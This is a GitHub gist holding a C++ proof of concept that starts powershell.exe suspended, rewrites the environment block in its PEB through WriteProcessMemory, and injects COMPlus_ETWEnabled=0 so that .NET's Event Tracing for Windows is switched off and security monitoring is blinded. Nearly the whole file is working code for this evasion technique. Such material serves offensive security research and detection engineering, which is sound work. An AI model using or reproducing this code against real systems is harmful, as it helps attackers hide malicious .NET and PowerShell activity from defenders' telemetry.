A very rough x64 POC for spoofing environment variables (similar to argument spoofing) with a focus on setting the COMPlus_ETWEnabled=0 var used to disable ETW in .NET
// A very rough x64 POC for spoofing environment variables similar to argument spoofing with a focus on | |
// setting the COMPlus_ETWEnabled=0 var for disabling ETW in .NET. | |
// | |
// Works by launching the target process suspended, reading PEB, updates the ptr used to store environment variables, | |
// and then resuming the process. | |
// | |
// (https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/) | |
#define INJECT_PARAM L"COMPlus_ETWEnabled=0\0\0\0" | |
#define INJECT_PARAM_LEN 43 | |
#define SPAWN_PROCESS "powershell.exe" | |
#include <iostream> | |
#include <Windows.h> | |
#include <winternl.h> | |
typedef NTSTATUS(*NtQueryInformationProcess2)( | |
IN HANDLE, | |
IN PROCESSINFOCLASS, | |
OUT PVOID, | |
IN ULONG, | |
OUT PULONG | |
); | |
// Taken from Process Hacker with thanks -> https://github.com/processhacker/processhacker/blob/master/phnt/include/ntrtl.h | |
#define DOS_MAX_COMPONENT_LENGTH 255 | |
#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) | |
typedef struct _CURDIR | |
{ | |
UNICODE_STRING DosPath; | |
HANDLE Handle; | |
} CURDIR, * PCURDIR; | |
#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 | |
#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 | |
typedef struct _RTL_DRIVE_LETTER_CURDIR | |
{ | |
USHORT Flags; | |
USHORT Length; | |
ULONG TimeStamp; | |
STRING DosPath; | |
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; | |
#define RTL_MAX_DRIVE_LETTERS 32 | |
#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 | |
typedef struct _RTL_USER_PROCESS_PARAMETERS_PH | |
{ | |
ULONG MaximumLength; | |
ULONG Length; | |
ULONG Flags; | |
ULONG DebugFlags; | |
HANDLE ConsoleHandle; | |
ULONG ConsoleFlags; | |
HANDLE StandardInput; | |
HANDLE StandardOutput; | |
HANDLE StandardError; | |
CURDIR CurrentDirectory; | |
UNICODE_STRING DllPath; | |
UNICODE_STRING ImagePathName; | |
UNICODE_STRING CommandLine; | |
PVOID Environment; | |
ULONG StartingX; | |
ULONG StartingY; | |
ULONG CountX; | |
ULONG CountY; | |
ULONG CountCharsX; | |
ULONG CountCharsY; | |
ULONG FillAttribute; | |
ULONG WindowFlags; | |
ULONG ShowWindowFlags; | |
UNICODE_STRING WindowTitle; | |
UNICODE_STRING DesktopInfo; | |
UNICODE_STRING ShellInfo; | |
UNICODE_STRING RuntimeData; | |
RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; | |
ULONG_PTR EnvironmentSize; | |
ULONG_PTR EnvironmentVersion; | |
PVOID PackageDependencyData; | |
ULONG ProcessGroupId; | |
ULONG LoaderThreads; | |
UNICODE_STRING RedirectionDllName; // REDSTONE4 | |
UNICODE_STRING HeapPartitionName; // 19H1 | |
ULONG_PTR DefaultThreadpoolCpuSetMasks; | |
ULONG DefaultThreadpoolCpuSetMaskCount; | |
} RTL_USER_PROCESS_PARAMETERS_PH; | |
void* readProcessMemory(HANDLE process, void* address, DWORD bytes) { | |
SIZE_T bytesRead; | |
char* alloc; | |
alloc = (char*)malloc(bytes); | |
if (alloc == NULL) { | |
return NULL; | |
} | |
if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) { | |
free(alloc); | |
return NULL; | |
} | |
return alloc; | |
} | |
BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) { | |
SIZE_T bytesWritten; | |
if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) { | |
return false; | |
} | |
return true; | |
} | |
int main(int argc, char** canttrustthis, char **canttrustthiseither) | |
{ | |
STARTUPINFOA si; | |
PROCESS_INFORMATION pi; | |
BOOL success; | |
PROCESS_BASIC_INFORMATION pbi; | |
DWORD retLen; | |
SIZE_T bytesRead; | |
PEB pebLocal; | |
RTL_USER_PROCESS_PARAMETERS_PH* parameters; | |
char* origEnv; | |
printf("EnvVar Spoofing Example by @_xpn_\n\n"); | |
memset(&si, 0, sizeof(si)); | |
memset(&pi, 0, sizeof(pi)); | |
// Start process suspended | |
success = CreateProcessA( | |
NULL, | |
(LPSTR)SPAWN_PROCESS, | |
NULL, | |
NULL, | |
FALSE, | |
CREATE_SUSPENDED | CREATE_NEW_CONSOLE, | |
NULL, // No env variables set on load so they will be taken from the parent (us). | |
"C:\\Windows\\System32\\", | |
&si, | |
&pi); | |
if (success == FALSE) { | |
printf("[!] Error: Could not call CreateProcess\n"); | |
return 1; | |
} | |
// Retrieve information on PEB location in process | |
NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess"); | |
ntpi( | |
pi.hProcess, | |
ProcessBasicInformation, | |
&pbi, | |
sizeof(pbi), | |
&retLen | |
); | |
// Read the PEB from the target process | |
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead); | |
if (success == FALSE) { | |
printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n"); | |
return 1; | |
} | |
// Grab the ProcessParameters from PEB | |
parameters = (RTL_USER_PROCESS_PARAMETERS_PH*)readProcessMemory( | |
pi.hProcess, | |
pebLocal.ProcessParameters, | |
sizeof(RTL_USER_PROCESS_PARAMETERS_PH) | |
); | |
// Read out the default env vars used | |
origEnv = (char*)readProcessMemory( | |
pi.hProcess, | |
parameters->Environment, | |
parameters->EnvironmentSize); | |
if (origEnv == NULL) { | |
printf("[!] Error: Could not read current environment variables\n"); | |
return 1; | |
} | |
// Allocate a new env region of memory in the target process so we can append our new values | |
char *newMem = (char*)VirtualAllocEx(pi.hProcess, 0, parameters->EnvironmentSize + INJECT_PARAM_LEN, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); | |
if (newMem == NULL) { | |
printf("[!] Error: Could not allocate memory in remote process\n"); | |
return 1; | |
} | |
success = writeProcessMemory( | |
pi.hProcess, | |
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS_PH, Environment), | |
(void*)&newMem, | |
8 | |
); | |
if (success == FALSE) { | |
printf("[!] Error: Could not call WriteProcessMemory to update Environment ptr\n"); | |
return 1; | |
} | |
// Copy env into a new buffer | |
char* newEnv = (char*)malloc(parameters->EnvironmentSize + INJECT_PARAM_LEN); | |
if (newEnv == NULL) { | |
printf("[!] Error: Out of memory\n"); | |
return 1; | |
} | |
// Copy over existing env vars | |
memset(newEnv, 0, parameters->EnvironmentSize + INJECT_PARAM_LEN);; | |
memcpy(newEnv, origEnv, parameters->EnvironmentSize); | |
// Work backwards to find the last env var and append | |
for (int i = 1; i < parameters->EnvironmentSize; i++) { | |
if (newEnv[parameters->EnvironmentSize - i] != '\0') { | |
// Found the last character in the size, we need to copy here | |
memcpy(newEnv + parameters->EnvironmentSize - i + 4, INJECT_PARAM, INJECT_PARAM_LEN); | |
break; | |
} | |
} | |
// Set our new length | |
parameters->EnvironmentSize += INJECT_PARAM_LEN; | |
// Set the actual vars we are looking to use | |
success = writeProcessMemory(pi.hProcess, newMem, (void*)newEnv, parameters->EnvironmentSize); | |
if (success == FALSE) { | |
printf("[!] Error: Could not call WriteProcessMemory to update environment vars\n"); | |
return 1; | |
} | |
// Update the length of our env vars | |
success = writeProcessMemory( | |
pi.hProcess, | |
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS_PH, EnvironmentSize), | |
(void*)¶meters->EnvironmentSize, | |
sizeof(parameters->EnvironmentSize) | |
); | |
if (success == FALSE) { | |
printf("[!] Error: Could not call WriteProcessMemory to update environment var length\n"); | |
return 1; | |
} | |
// Resume thread execution | |
ResumeThread(pi.hThread); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment